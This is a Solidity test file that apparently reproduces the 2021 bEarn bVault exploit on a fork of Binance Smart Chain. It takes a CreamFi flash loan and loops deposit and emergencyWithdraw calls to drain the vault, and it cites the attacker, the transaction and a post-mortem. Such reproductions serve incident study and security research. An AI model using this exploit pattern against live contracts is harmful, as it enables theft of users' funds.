src/test/2021-05/bEarn_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5 
6import "../interface.sol";
7 
8// @KeyInfo - Total Lost : 11M
9// Attacker : https://bscscan.com/address/0x47f341d896b08daacb344d9021f955247e50d089
10// Attack Contract : https://bscscan.com/address/0xef39f14213714001456e2e89eddbdf8c850c3be6
11// Vulnerable Contract : https://bscscan.com/address/0xb390b07fcf76678089cb12d8e615d5fe494b01fb
12// Attack Tx : https://bscscan.com/tx/0x603b2bbe2a7d0877b22531735ff686a7caad866f6c0435c37b7b49e4bfd9a36c
13 
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0xb390b07fcf76678089cb12d8e615d5fe494b01fb#code
16 
17// @Analysis
18// Post-mortem : https://bearndao.medium.com/bvaults-busd-alpaca-strategy-exploit-post-mortem-and-bearn-s-compensation-plan-b0b38c3b5540
19// Twitter Guy :
20// Hacking God :
21pragma solidity ^0.8.0;
22 
23interface ICreamFi {
24    function flashLoan(address receiver, uint256 amount, bytes calldata params) external;
25    function getCash() external returns (uint256);
26}
27 
28interface IBVault {
29    function deposit(uint256 _pid, uint256 _wantAmt) external;
30    function emergencyWithdraw(
31        uint256 _pid
32    ) external;
33}
34 
35contract bEarn is BaseTestWithBalanceLog {
36    uint256 blocknumToForkFrom = 7_457_124;
37 
38    address internal CreamFi = 0x2Bc4eb013DDee29D37920938B96d353171289B7C;
39    address internal BUSD = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
40    address internal bVault = 0xB390B07fcF76678089cb12d8E615d5Fe494b01Fb;
41 
42    function setUp() public {
43        vm.createSelectFork("bsc", blocknumToForkFrom);
44        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
45        fundingToken = address(BUSD);
46    }
47 
48    function testExploit() public balanceLog {
49        //implement exploit code here
50        address receiver = address(this);
51        uint256 amount = ICreamFi(CreamFi).getCash();
52        ICreamFi(CreamFi).flashLoan(receiver, amount, "1");
53    }
54 
55    function executeOperation(address, address underlying, uint256 amount, uint256 fee, bytes memory) external {
56        IERC20(BUSD).approve(bVault, type(uint256).max);
57 
58        for (uint256 i = 0; i < 10; i++) {
59            IBVault(bVault).deposit(13, IERC20(underlying).balanceOf(address(this)) - 1);
60            IBVault(bVault).emergencyWithdraw(13);
61        }
62 
63        IERC20(BUSD).transfer(CreamFi, amount + fee);
64    }
65}